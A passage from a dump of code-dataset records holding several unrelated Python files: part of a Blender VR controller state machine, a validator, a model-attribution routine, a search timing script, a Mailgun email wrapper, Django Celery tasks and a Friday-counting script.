copy.deepcopy(bpy.data.objects[self.objToControll].location)\r\n                #         bpy.data.objects[self.objToControll].rotation_mode = 'XYZ'\r\n                #         self.initial_rot = copy.deepcopy(bpy.data.objects[self.objToControll].rotation_euler)\r\n                #         bpy.data.objects[self.objToControll].rotation_mode = 'QUATERNION'\r\n\r\n                # DRAWING SKETCHES - POSING_SKETCHES\r\n                if ctrl_state.ulButtonPressed == 8589934592:\r\n                    print(\"IDLE -> DRAWING\")\r\n                    self.add_spline(bpy.data.objects['Controller.R'].location)\r\n                    self.state = State.DRAWING\r\n\r\n                #TRACKPAD.R\r\n                if ctrl_state.ulButtonPressed == 4294967296:\r\n                    self.state = State.TRACKPAD_BUTTON_DOWN\r\n\r\n                # NAVIGATION\r\n                if ctrl_state.ulButtonPressed == 2:\r\n                    print(\"IDLE -> NAVIGATION\")\r\n                    self.state = State.NAVIGATION_ENTER\r\n\r\n            elif self.state == State.DRAWING:\r\n                self.update_curve(bpy.data.objects['Controller.R'].location)\r\n\r\n                if (ctrl_state.ulButtonPressed != 8589934592):\r\n                    self.state = State.IDLE\r\n\r\n            elif self.state == State.TRACKPAD_BUTTON_DOWN:\r\n\r\n                if ctrl_state.ulButtonPressed != 4294967296:\r\n                    x, y = ctrl_state.rAxis[0].x, ctrl_state.rAxis[0].y\r\n                    # Apply rotation for X setup otherwiise + setup\r\n                    x1, y1 = x * 0.707 - y * -0.707, x * -0.707 + y * 0.707\r\n                    x, y = x1, y1\r\n\r\n                    if x > 0 and y > 0:\r\n                        print('UP')\r\n                        print('LAUNCH ALGORITHM')\r\n                        softAss_detAnnealing_3().start()\r\n\r\n                    if x > 0 and y < 0:\r\n                        print ('RIGHT')\r\n                    if x < 0 and y > 0:\r\n                        for i in range (0, len(bpy.data.curves['Stroke'].splines)):\r\n                            self.remove_spline()\r\n                        print ('LEFT')\r\n                    if x < 0 and y < 0:\r\n                        print ('DOWN')\r\n                        self.remove_spline()\r\n\r\n                    self.state = State.IDLE\r\n\r\n\r\n            elif self.state == State.DECISIONAL:\r\n                print(\"Decisional\")\r\n                bpy.data.objects[\"Text.R\"].data.body = \"Selection\\n \" + self.objToControll + \"-\" + self.boneToControll\r\n\r\n\r\n                # Compute the nearest object\r\n                try:\r\n                    self.objToControll, self.boneToControll = self.getClosestItem(True)\r\n                except:\r\n                    print(\"Error during selection\")\r\n                global currObject\r\n                global currBone\r\n                currObject = self.objToControll\r\n                currBone = self.boneToControll\r\n                print(\"Current obj:\", self.objToControll, self.boneToControll)\r\n\r\n                if ctrl_state.ulButtonPressed != 4:\r\n                    # print(\"touch button released\")\r\n                    self.changeSelection(self.objToControll, self.boneToControll, True)\r\n\r\n                    self.state = State.IDLE\r\n\r\n            elif self.state == State.INTERACTION_LOCAL:\r\n                bpy.data.objects[\"Text.R\"].data.body = \"Interaction\\n\" + self.objToControll + \"-\" + self.boneToControll + \"\\n\" + self.axes[self.curr_axes_r]\r\n\r\n                ## Controll object scale\r\n                if self.objToControll == self.objToControll_l and self.boneToControll == self.boneToControll_l and ctrl_state_l.ulButtonPressed == 8589934592:\r\n                    if self.boneToControll != \"\":\r\n                        self.initial_scale = copy.deepcopy(bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].scale)\r\n                    else:\r\n                        self.initial_scale = copy.deepcopy(bpy.data.objects[self.objToControll].scale)\r\n\r\n                    self.diff_distance = self.computeTargetObjDistance(\"Controller.L\", \"\", True)\r\n\r\n\r\n                    self.state = State.SCALING\r\n                    self.state_l = StateLeft.SCALING\r\n\r\n                else:\r\n                    if self.boneToControll != \"\":\r\n                        ## The object to move is a bone\r\n                        bone = bpy.data.objects[self.objToControll]\r\n                        pbone = bone.pose.bones[self.boneToControll]\r\n                        scale = copy.deepcopy(pbone.scale)\r\n                        translationMatrix = Matrix(((0.0, 0.0, 0.0, self.diff_loc[0]),\r\n                                                    (0.0, 0.0, 0.0, self.diff_loc[1]),\r\n                                                    (0.0, 0.0, 0.0, self.diff_loc[2]),\r\n                                                    (0.0, 0.0, 0.0, 1.0)))\r\n                        diff_rot_matr = self.diff_rot.to_matrix()\r\n                        pbone.matrix = (ctrl.matrix_world + translationMatrix) * diff_rot_matr.to_4x4()\r\n                        pbone.scale = scale\r\n\r\n                        self.applyConstraint(True)\r\n\r\n\r\n                    else:\r\n                        ## The object to move is a mesh\r\n                        bpy.data.objects[\r\n                            self.objToControll].rotation_quaternion = ctrl.rotation_quaternion * self.diff_rot\r\n                        bpy.data.objects[self.objToControll].location = ctrl.location + self.diff_loc\r\n\r\n                        self.applyConstraint(True)\r\n\r\n                if (ctrl_state.ulButtonPressed == 8589934596):\r\n                    print(\"INTERACTION_LOCAL -> CHANGE_AXIS\")\r\n                    self.state = State.CHANGE_AXES\r\n\r\n                if (ctrl_state.ulButtonPressed != 8589934592 and ctrl_state.ulButtonPressed != 8589934596):\r\n                    # print(\"grillet released\")\r\n                    self.state = State.IDLE\r\n\r\n            elif self.state == State.CHANGE_AXES:\r\n                if (ctrl_state.ulButtonPressed == 8589934592):\r\n                    self.curr_axes_r += 1\r\n                    if self.curr_axes_r >= len(self.axes):\r\n                        self.curr_axes_r = 0\r\n                    self.curr_axes_l = 0\r\n                    self.state = State.INTERACTION_LOCAL\r\n\r\n                if (ctrl_state.ulButtonPressed == 0):\r\n                    self.state = State.IDLE\r\n\r\n            elif self.state == State.NAVIGATION_ENTER:\r\n                bpy.data.objects[\"Text.R\"].data.body = \"Navigation\\n \"\r\n                bpy.data.objects[\"Text.L\"].data.body = \"Navigation\\n \"\r\n                if ctrl_state.ulButtonPressed != 2:\r\n                    #bpy.data.textures['Texture.R'].image = bpy.data.images['Nav-R.png']\r\n                    #bpy.data.textures['Texture.L'].image = bpy.data.images['Hand-L.png']\r\n                    self.state = State.NAVIGATION\r\n                    self.state_l = StateLeft.NAVIGATION\r\n\r\n            elif self.state == State.NAVIGATION_EXIT:\r\n                if ctrl_state.ulButtonPressed != 2:\r\n                    print(\"NAVIGATION -> IDLE\")\r\n                    #bpy.data.textures['Texture.R'].image = bpy.data.images['Perf-R.png']\r\n                    #bpy.data.textures['Texture.L'].image = bpy.data.images['Ctrl-L.png']\r\n                    self.state = State.IDLE\r\n                    self.state_l = StateLeft.IDLE\r\n\r\n            elif self.state == State.NAVIGATION:\r\n                if ctrl_state.ulButtonPressed == 4294967296:\r\n                    x, y = ctrl_state.rAxis[0].x, ctrl_state.rAxis[0].y\r\n                    if (x > -0.3 and x < 0.3 and y < -0.8):\r\n                        print(\"ZOOM_OUT\")\r\n                        camObjDist = bpy.data.objects[\"Origin\"].location - camera.location\r\n                        if self.objToControll != \"\":\r\n                            camObjDist = bpy.data.objects[self.objToControll].location - camera.location\r\n                        camera.location -= camObjDist\r\n\r\n                        scale_factor = camera.scale[0]\r\n                        scale_factor = scale_factor * 2\r\n                        camera.scale = Vector((scale_factor, scale_factor, scale_factor))\r\n                        bpy.data.objects[\"Text.R\"].scale = Vector((scale_factor, scale_factor, scale_factor))\r\n                        bpy.data.objects[\"Text.L\"].scale = Vector((scale_factor, scale_factor, scale_factor))\r\n                        self.zoom = scale_factor\r\n                        self.state = State.ZOOM_IN\r\n\r\n                    if (x > -0.3 and x < 0.3 and y > 0.8):\r\n                        print(\"ZOOM_IN\")\r\n                        camObjDist = bpy.data.objects[\"Origin\"].location - camera.location\r\n                        if self.objToControll != \"\":\r\n                            camObjDist = bpy.data.objects[self.objToControll].location - camera.location\r\n                        camObjDist = camObjDist / 2\r\n                        camera.location += camObjDist\r\n\r\n                        scale_factor = camera.scale[0]\r\n                        scale_factor = scale_factor / 2\r\n                        camera.scale = Vector((scale_factor, scale_factor, scale_factor))\r\n                        bpy.data.objects[\"Text.R\"].scale = Vector((scale_factor, scale_factor, scale_factor))\r\n                        bpy.data.objects[\"Text.L\"].scale = Vector((scale_factor, scale_factor, scale_factor))\r\n                        self.zoom = scale_factor\r\n                        self.state = State.ZOOM_OUT\r\n\r\n                if (ctrl_state.ulButtonPressed == 8589934592):\r\n                    print('Camera rot: ', camera.rotation_quaternion)\r\n                    self.diff_rot = ctrl.rotation_quaternion.inverted() * camera.rotation_quaternion\r\n                    print('Diff:       ', self.diff_rot)\r\n                    # self.diff_loc = camera.location - ctrl.location\r\n                    self.diff_trans_matrix = bpy.data.objects['Camera'].matrix_world * bpy.data.objects[\r\n                        'Origin'].matrix_world\r\n\r\n                    self.rotFlag = False\r\n                    self.state = State.CAMERA_ROT_CONT\r\n\r\n                if (ctrl_state.ulButtonPressed == 4):\r\n                    self.diff_loc = copy.deepcopy(ctrl.location)\r\n                    self.state = State.CAMERA_MOVE_CONT\r\n\r\n                if (ctrl_state.ulButtonPressed == 2):\r\n                    self.state = State.NAVIGATION_EXIT\r\n\r\n            elif self.state == State.ZOOM_IN:\r\n                if (ctrl_state.ulButtonPressed != 4294967296):\r\n                    self.state = State.NAVIGATION\r\n\r\n            elif self.state == State.ZOOM_OUT:\r\n                if (ctrl_state.ulButtonPressed != 4294967296):\r\n                    self.state = State.NAVIGATION\r\n\r\n            elif self.state == State.CAMERA_MOVE_CONT:\r\n                camera.location = camera.location + (self.diff_loc - ctrl.location)\r\n\r\n                if ctrl_state.ulButtonPressed != 4:\r\n                    self.state = State.NAVIGATION\r\n\r\n            elif self.state == State.CAMERA_ROT_CONT:\r\n\r\n                if (ctrl_state.ulButtonPressed != 8589934592):\r\n                    self.rotFlag = True\r\n                    self.state = State.NAVIGATION\r\n\r\n            elif self.state == State.SCALING:\r\n                currDist = self.computeTargetObjDistance(\"Controller.L\", \"\", True)\r\n                offset = (currDist - self.diff_distance) / 10\r\n                if self.boneToControll != \"\":\r\n                    bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].scale = self.initial_scale\r\n                    bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].scale[0] += offset\r\n                    bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].scale[1] += offset\r\n                    bpy.data.objects[self.objToControll].pose.bones[self.boneToControll].scale[2] += offset\r\n\r\n                else:\r\n                    bpy.data.objects[self.objToControll].scale = self.initial_scale\r\n                    bpy.data.objects[self.objToControll].scale[0] += offset\r\n                    bpy.data.objects[self.objToControll].scale[1] += offset\r\n                    bpy.data.objects[self.objToControll].scale[2] += offset\r\n\r\n\r\n                # Exit from Scaling state\r\n                if (ctrl_state.ulButtonPressed != 8589934592):\r\n                    if (ctrl_state_l.ulButtonPressed != 8589934592):\r\n                        self.state = State.IDLE\r\n                        self.state_l = StateLeft.IDLE\r\n\r\n\r\n            ########## Left_Controller_States ##########\r\n\r\n            if self.state_l == StateLeft.IDLE:\r\n                bpy.data.objects[\"Text.L\"].data.body = \"Idle\\n\" + self.objToControll_l + \"-\" + self.boneToControll_l\r\n\r\n                ## TIMELINE NAVIGATION\r\n                if ctrl_state_l.ulButtonPressed == 4294967296:\r\n                    x, y = ctrl_state_l.rAxis[0].x, ctrl_state_l.rAxis[0].y\r\n                    print(x,y)\r\n\r\n                # DECISIONAL\r\n                if (ctrl_state_l.ulButtonPressed == 4):\r\n                    print(\"IDLE -> DECISIONAL\")\r\n                    print (\"DECISIONAL ENTER: \", self.objToControll_l, self.boneToControll_l)\r\n                    self.changeSelection(self.objToControll_l, self.boneToControll_l, False)\r\n                    self.state_l = StateLeft.DECISIONAL\r\n\r\n                # INTERACTION_LOCAL\r\n                if (ctrl_state_l.ulButtonPressed == 8589934592 and self.objToControll_l != \"\"):\r\n                    print(\"IDLE -> INTERACTION LOCAL\")\r\n                    self.state_l = StateLeft.INTERACTION_LOCAL\r\n                    self.curr_axes_l = 0\r\n\r\n                    if self.boneToControll_l != \"\":\r\n                        self.diff_rot_l = ctrl_l.rotation_quaternion.inverted() * bpy.data.objects[self.objToControll_l].pose.bones[self.boneToControll_l].matrix.to_quaternion()\r\n                        self.diff_loc_l = bpy.data.objects[self.objToControll_l].pose.bones[self.boneToControll_l].matrix.to_translation() - ctrl_l.location\r\n                        self.initial_loc_l = copy.deepcopy(bpy.data.objects[self.objToControll_l].pose.bones[self.boneToControll_l].location)\r\n                        bpy.data.objects[self.objToControll_l].pose.bones[self.boneToControll_l].rotation_mode = 'XYZ'\r\n                        self.initial_rot_l = copy.deepcopy(bpy.data.objects[self.objToControll_l].pose.bones[self.boneToControll_l].rotation_euler)\r\n                        bpy.data.objects[self.objToControll_l].pose.bones[self.boneToControll_l].rotation_mode = 'QUATERNION'\r\n\r\n                    else:\r\n                        self.diff_rot_l = ctrl_l.rotation_quaternion.inverted() * bpy.data.objects[self.objToControll_l].rotation_quaternion\r\n                        self.diff_loc_l = bpy.data.objects[self.objToControll_l].location - ctrl_l.location\r\n                        self.initial_loc_l = copy.deepcopy(bpy.data.objects[self.objToControll_l].location)\r\n                        bpy.data.objects[self.objToControll_l].rotation_mode = 'XYZ'\r\n                        self.initial_rot_l = copy.deepcopy(bpy.data.objects[self.objToControll_l].rotation_euler)\r\n                        bpy.data.objects[self.objToControll_l].rotation_mode = 'QUATERNION'\r\n\r\n            elif self.state_l == StateLeft.INTERACTION_LOCAL:\r\n                bpy.data.objects[\"Text.L\"].data.body = \"Interaction\\n\" + self.objToControll_l + \"-\" + self.boneToControll_l + \"\\n\" + self.axes[self.curr_axes_l]\r\n\r\n\r\n                if self.objToControll == self.objToControll_l \\\r\n                        and self.boneToControll == self.boneToControll_l \\\r\n                        and ctrl_state.ulButtonPressed == 8589934592\\\r\n                        and self.state != State.CAMERA_ROT_CONT \\\r\n                        and self.state != State.NAVIGATION:\r\n                    self.state_l = StateLeft.SCALING\r\n                    self.state = State.SCALING\r\n\r\n                else:\r\n                    if self.boneToControll_l != \"\":\r\n                        ## The object to move is a bone\r\n                        bone = bpy.data.objects[self.objToControll_l]\r\n                        pbone = bone.pose.bones[self.boneToControll_l]\r\n                        scale = copy.deepcopy(pbone.scale)\r\n                        translationMatrix = Matrix(((0.0, 0.0, 0.0, self.diff_loc_l[0]),\r\n                                                    (0.0, 0.0, 0.0, self.diff_loc_l[1]),\r\n                                                    (0.0, 0.0, 0.0, self.diff_loc_l[2]),\r\n                                                    (0.0, 0.0, 0.0, 1.0)))\r\n                        diff_rot_matr = self.diff_rot_l.to_matrix()\r\n                        pbone.matrix = (ctrl_l.matrix_world + translationMatrix) * diff_rot_matr.to_4x4()\r\n                        pbone.scale = scale\r\n                        self.applyConstraint(False)\r\n\r\n                    else:\r\n                        ## The object to move is a mesh\r\n                        bpy.data.objects[self.objToControll_l].rotation_quaternion = ctrl_l.rotation_quaternion * self.diff_rot_l\r\n                        bpy.data.objects[self.objToControll_l].location = ctrl_l.location + self.diff_loc_l\r\n                        self.applyConstraint(False)\r\n\r\n\r\n                if (ctrl_state_l.ulButtonPressed==8589934596):\r\n                    print(\"INTERACTION_LOCAL -> CHANGE_AXIS\")\r\n                    self.state_l = StateLeft.CHANGE_AXES\r\n\r\n                if (ctrl_state_l.ulButtonPressed != 8589934592 and ctrl_state_l.ulButtonPressed != 8589934596):\r\n                    self.state_l = StateLeft.IDLE\r\n\r\n            elif self.state_l == StateLeft.NAVIGATION:\r\n                if (ctrl_state_l.ulButtonPressed == 4294967296):\r\n                    x, y = ctrl_state_l.rAxis[0].x, ctrl_state_l.rAxis[0].y\r\n                    print (x,y)\r\n\r\n            elif self.state_l == StateLeft.CHANGE_AXES:\r\n                if (ctrl_state_l.ulButtonPressed==8589934592):\r\n                    self.curr_axes_l+=1\r\n                    if self.curr_axes_l>=len(self.axes):\r\n                        self.curr_axes_l=0\r\n                    self.curr_axes_r=0\r\n                    print(self.curr_axes_l)\r\n                    print(\"CHANGE_AXIS -> INTERACTION_LOCAL\")\r\n                    self.state_l = StateLeft.INTERACTION_LOCAL\r\n\r\n                if (ctrl_state_l.ulButtonPressed==0):\r\n                    # print(\"grillet released\")\r\n                    self.state_l = StateLeft.IDLE\r\n\r\n            elif self.state_l == StateLeft.SCALING:\r\n\r\n                # Exit from Scaling state\r\n                if (ctrl_state_l.ulButtonPressed != 8589934592):\r\n                    if (ctrl_state.ulButtonPressed != 8589934592):\r\n                        self.state = State.IDLE\r\n                        self.state_l = StateLeft.IDLE\r\n\r\n            elif self.state_l == StateLeft.DECISIONAL:\r\n                bpy.data.objects[\"Text.L\"].data.body = \"Selection\\n\" + self.objToControll_l + \"-\" + self.boneToControll_l\r\n\r\n                # Compute the nearest object\r\n                self.objToControll_l, self.boneToControll_l = self.getClosestItem(False)\r\n                global currObject_l\r\n                global currBone_l\r\n                currObject_l = self.objToControll_l\r\n                currBone_l = self.boneToControll_l\r\n                print(\"Current obj:\", self.objToControll_l, self.boneToControll_l)\r\n\r\n                if ctrl_state_l.ulButtonPressed != 4:\r\n                    self.changeSelection(self.objToControll_l, self.boneToControll_l, True)\r\n                    self.state_l = StateLeft.IDLE\r\n                    print (\"DECISIONAL -> IDLE\")\r\n\r\n            super(OpenVR, self).loop(context)\r\n\r\n        except Exception as E:\r\n            self.error(\"OpenVR.loop\", E, False)\r\n            return False\r\n\r\n        #if VERBOSE:\r\n        #    print(\"Left Eye Orientation Raw: \" + str(self._eye_orientation_raw[0]))\r\n        #    print(\"Right Eye Orientation Raw: \" + str(self._eye_orientation_raw[1]))\r\n\r\n        return True\r\n\r\n    def frameReady(self):\r\n        \"\"\"\r\n        The frame is ready to be sent to the device\r\n        \"\"\"\r\n        try:\r\n            self._hmd.frameReady()\r\n\r\n        except Exception as E:\r\n            self.error(\"OpenVR.frameReady\", E, False)\r\n            return False\r\n\r\n        return True\r\n\r\n    def reCenter(self):\r\n        \"\"\"\r\n        Re-center the HMD device\r\n\r\n        :return: return True if success\r\n        :rtype: bool\r\n        \"\"\"\r\n        return self._hmd.reCenter()\r\n\r\n    def quit(self):\r\n        \"\"\"\r\n        Garbage collection\r\n        \"\"\"\r\n        self._hmd = None\r\n        return super(OpenVR, self).quit()\r\n\r\n\r\n\r\n","repo_name":"grainsgroup/PosingBySketches","sub_path":"scripts/space_view3d_virtual_reality/hmd/openvr.py","file_name":"openvr.py","file_ext":"py","file_size_in_byte":49511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39289239529","text":"import re\nfrom src.enums.EnumCargo import EnumCargos\n\ndef check_email(email):\n    regex = r'\\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Z|a-z]{2,}\\b'\n    if re.match(regex,email):\n        return True\n    return False \n\ndef check_cargo(cargo):\n    for data in EnumCargos:\n        if cargo.upper() == data.value:\n            return True\n    return False","repo_name":"ja1felipe/vev-ufcg","sub_path":"calculadora-salario/src/utils/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5989942160","text":"# This file is part of Scalable, Axiomatic Explanations of Deep\n# Alzheimer's Diagnosis from Heterogeneous Data (SVEHNN).\n#\n# SVEHNN is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# SVEHNN is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with SVEHNN. If not, see <https://www.gnu.org/licenses/>.\nimport numpy as np\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\nfrom tqdm.auto import tqdm\n\n\ndef spaced_elements(array: np.ndarray, num_elems: int, **kwargs) -> torch.Tensor:\n    \"\"\"\n    Selects equally spaced coalition sizes from all possible sizes.\n    Args:\n        array (): tensor containing the range from 0 to the number of players\n        num_elems (): number of sizes to be selected\n\n    Returns: a tensor of size num_elems containing valid coalition sizes (ks)\n    \"\"\"\n    return torch.tensor([x[len(x) // 2] for x in np.array_split(array, num_elems)], **kwargs)\n\n\n@torch.no_grad()\ndef explain_svehnn(\n    lp_model: nn.Module,\n    n_players_pc: int,\n    n_players_tabular: int,\n    explain_loader: DataLoader,\n    device: torch.device,\n    n_steps: int = 150,\n) -> np.ndarray:\n    max_batch_size = explain_loader.batch_size\n\n    model = lp_model.to(device).eval()\n\n    pbar = tqdm(total=n_players_pc * len(explain_loader))\n\n    attributions = np.zeros(\n        (max_batch_size * len(explain_loader), n_players_pc + n_players_tabular, 1), dtype=float, order=\"F\"\n    )\n    for batch_idx, batch in enumerate(explain_loader):\n        pc = batch[0].to(device)\n        pc.transpose_(2, 1)\n        feat = batch[1].to(device)\n        pc_baseline = batch[2].to(device)\n        pc_baseline.transpose_(2, 1)\n\n        batch_start = batch_idx * max_batch_size\n        batch_size = pc.size()[0]\n        batch_end = batch_start + batch_size\n\n        tabular_weights = model.fc4.weight_tabular\n        for i in range(tabular_weights.size()[0]):  # iterate over outputs of last layer\n            attr_tabular = feat * tabular_weights[i].unsqueeze(dim=0)\n            attributions[batch_start:batch_end, n_players_pc:, i] = attr_tabular.detach().cpu().numpy()\n\n        ks = spaced_elements(np.arange(n_players_pc), n_steps, dtype=torch.float, device=device)\n        ks = ks.repeat(batch_size).unsqueeze(dim=1)\n\n        pc_in = pc.repeat_interleave(n_steps, dim=0)\n        pc_baseline_in = pc_baseline.repeat_interleave(n_steps, dim=0)\n        feat_in = feat.repeat_interleave(n_steps, dim=0)\n\n        for i in range(n_players_pc):\n            mask = torch.zeros(1, 1, n_players_pc, device=device)\n            mask[..., i] = 1.0\n            mask_in = mask.expand(n_steps * batch_size, -1, -1)\n\n            mv_wo_i, mv_with_i = model((pc_in, mask_in, pc_baseline_in, ks), feat_in)\n\n            means_with_i = torch.chunk(mv_with_i[0], batch_size)\n            means_wo_i = torch.chunk(mv_wo_i[0], batch_size)\n\n            for n, m_w_i, m_wo_i in zip(range(batch_start, batch_end), means_with_i, means_wo_i):\n                # take mean over all ks\n                diff = torch.mean(m_w_i - m_wo_i, dim=0).detach().cpu().numpy()\n                attributions[n, i] = diff\n\n            del mv_wo_i, mv_with_i, means_with_i, means_wo_i, mask, mask_in\n\n            pbar.update()\n\n    return attributions\n","repo_name":"ai-med/SVEHNN","sub_path":"svehnn/adni/explain.py","file_name":"explain.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"27054038155","text":"from datetime import datetime, timedelta\nfrom random import randint\nimport LinearSearch as ls\nimport BinarySearch as bs\n\n\nn = 100000 # The size of the list\narr = range(n)\ntarget = randint(0,n-1)\nprint(f'Now we are searching {target} between 0 and {n-1}')\n\n# Linear Search\nls_start = datetime.now()\nls.LinearSearch(arr,target)\nls_end = datetime.now()\nls_diff = (ls_end-ls_start).total_seconds()*1000\nprint(f'LinearSearch() took {ls_diff:.6f} ms')\n# Binary Search\nbs_start = datetime.now()\nbs.BinarySearch(arr,target)\nbs_end = datetime.now()\nbs_diff = (bs_end-bs_start).total_seconds()*1000\nprint(f'BinarySearch() took {bs_diff:.6f} ms')\n","repo_name":"jacquessham/DataStructure","sub_path":"Searching/Python/SearchDriver.py","file_name":"SearchDriver.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8992490535","text":"# -*-coding:UTF-8-*-\nimport requests\n\n\nclass Email(object):\n\n    def __init__(self, setting):\n        self.url = setting.get('url')\n        self.key = setting.get('key')\n        self.sender = setting.get('sender')\n\n    def send(self, title, content, to, origin=None):\n        origin = self.sender if not origin else origin\n        url = '%s/messages' % self.url\n        data = {\n            'from': origin,\n            'to': to,\n            'subject': title,\n            'text': content\n        }\n        # return requests.post(url, auth=('api', self.key), data=data)\n\n\nif __name__ == '__main__':\n    setting = {\n        'key': 'key-',\n        'method': 'none',\n        'sender': 'root@domain',\n        'url': 'https://api.mailgun.net/v3/'\n    }\n    Email(setting).send(\n        title='test',\n        to='ambiguous404@gmail.com',\n        content='html content'\n    )\n","repo_name":"Hanaasagi/Ushio","sub_path":"util/mailgun.py","file_name":"mailgun.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"22948888450","text":"from celery import task, shared_task\nimport os\nfrom django.core.mail import send_mail\nfrom celery.utils.log import get_task_logger\nfrom django.conf import settings\nfrom datetime import date, timedelta\nfrom django.conf import settings\nfrom django.db.models import F, Case, When\n\nfrom django.db import transaction\nimport sys\n\nfrom sis_prototipo.apps.embarazadas.models import Embarazada\n\nlogger = get_task_logger(__name__)\n\n\n# todo geocodificar imprecisos y hacer calculo de relaciones\n@task()\ndef diario():\n    # Desactiva si han pasado n dias\n    embarazada_delta = date.today() - timedelta(days=settings.MANTENER_EMBARAZADA)\n    Embarazada.objects.activos().update(ACTIVO=Case(When(FECHA_PARTO__lte=embarazada_delta, then=False)))\n\n    vector_delta = date.today() - timedelta(days=settings.MANTENER_VECTOR)\n    Vector.objects.activos().update(ACTIVO=Case(When(FECHA_SOL_ATEN__lte=vector_delta, then=False)))\n\n    # Cuando las semanas de gestacion son iguales a 37\n    Embarazada.objects.activos().update(PROBABLE_PARTO=Case(When(sdg__exact=37, then=True)))\n\n    # Me quedo bien guapo: selecciona activos, con probable parto y que aun no se ha avisado y manda correo\n    Embarazada.objects.activos().probable_parto().sin_avisar().mandar_correo()\n\n\n@shared_task\ndef proceso_asinc_epidemio(entrada):\n    datos = aplica_preprocesa(entrada)\n    try:\n        datos['archivo_epidemio'] = ArchivoEpidemio.objects.get(pk=datos['archivo_epidemio'])\n    except:\n        datos['archivo_epidemio'] = None\n    try:\n        datos['DES_EDO_RES'] = Entidad.objects.get(nomgeo__icontains=datos['DES_EDO_RES'])\n    except:\n        datos['DES_EDO_RES'] = None\n    try:\n        datos['DES_MPO_RES'] = datos.get('DES_EDO_RES').municipio_set.get(nomgeo__icontains=datos['DES_MPO_RES'])\n    except:\n        datos['DES_MPO_RES'] = None\n    try:\n        datos['DES_LOC_RES'] = datos.get('DES_MPO_RES').localidad_set.get(nomloc__icontains=datos['DES_LOC_RES'])\n    except:\n        datos['DES_LOC_RES'] = None\n    modelo = Vector(**datos)\n    modelo.save()\n    logger.info(\"Finalizando\")\n\n\n@shared_task\ndef proceso_asinc_embarazada(entrada):\n    datos = aplica_preprocesa(entrada)\n\n    try:\n        if datos['DES_EDO_RES'] == 'DISTRITO FEDERAL':\n            datos['DES_EDO_RES'] = Entidad.objects.get(nomgeo__icontains='Ciudad de Mexico')\n        datos['DES_EDO_RES'] = Entidad.objects.get(nomgeo__icontains=datos['DES_EDO_RES'])\n    except:\n        datos['DES_EDO_RES'] = None\n    try:\n        datos['DES_MPO_RES'] = datos.get('DES_EDO_RES').municipio_set.get(nomgeo__icontains=datos['DES_MPO_RES'])\n    except:\n        datos['DES_MPO_RES'] = None\n    try:\n        datos['DES_LOC_RES'] = datos.get('DES_MPO_RES').localidad_set.get(nomloc__icontains=datos['DES_LOC_RES'])\n    except:\n        datos['DES_LOC_RES'] = None\n    modelo = Embarazada(**datos)\n    modelo.save()\n    logger.info(\"Finalizando\")\n\n\n@shared_task\ndef proceso_asinc_sinave(entrada, pk):\n    datos = aplica_preprocesa(entrada)\n\n    datos.update({'archivo_sinave':  ArchivoVector.objects.get(pk=pk)})\n\n    try:\n        datos['DES_EDO_RES'] = Entidad.objects.get(cve_ent=datos.get('CVE_EDO_RES').zfill(2))\n    except:\n        datos['DES_EDO_RES'] = None\n\n    try:\n        datos['DES_MPO_RES'] = datos.get('DES_EDO_RES').municipio_set.get(cve_mun=datos.get('CVE_MPO_RES').zfill(3))\n    except:\n        datos['DES_MPO_RES'] = None\n\n    try:\n        datos['DES_LOC_RES'] = datos.get('DES_MPO_RES').localidad_set.get(cve_loc=datos.get('CVE_LOC_RES').zfill(4))\n    except:\n        datos['DES_LOC_RES'] = None\n\n    datos.pop('CVE_EDO_RES', None)\n    datos.pop('CVE_MPO_RES', None)\n    datos.pop('CVE_LOC_RES', None)\n\n    modelo = Vector(**datos)\n    modelo.save()\n    logger.warning(\"Finalizando\")\n","repo_name":"marcodelmoral/sis_prototipo","sub_path":"sis_prototipo/apps/embarazadas/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24164676875","text":"import calendar\n\n\ndef year_start(year):\n    result = 1\n    if year >= 2007:\n        for i in range(2007, year):\n            if calendar.isleap(i):\n                result += 2\n            else:\n                result += 1\n    else:\n        for i in range(year, 2007):\n            if calendar.isleap(i):\n                result -= 2\n            else:\n                result -= 1\n    return result % 7\n\n\ndef friday_years(start, end):\n    count = 0\n    for i in range(start, end + 1):\n        if year_start(i) == 5 or (year_start(i) == 4 and calendar.isleap(i)):\n            count += 1\n    return count\n\n\nprint (friday_years(1000, 2000))\nprint (friday_years(1753, 2000))\nprint (friday_years(1990, 2015))\n","repo_name":"KremenaVasileva/HackBG","sub_path":"Week 1/Friday/friday_years.py","file_name":"friday_years.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
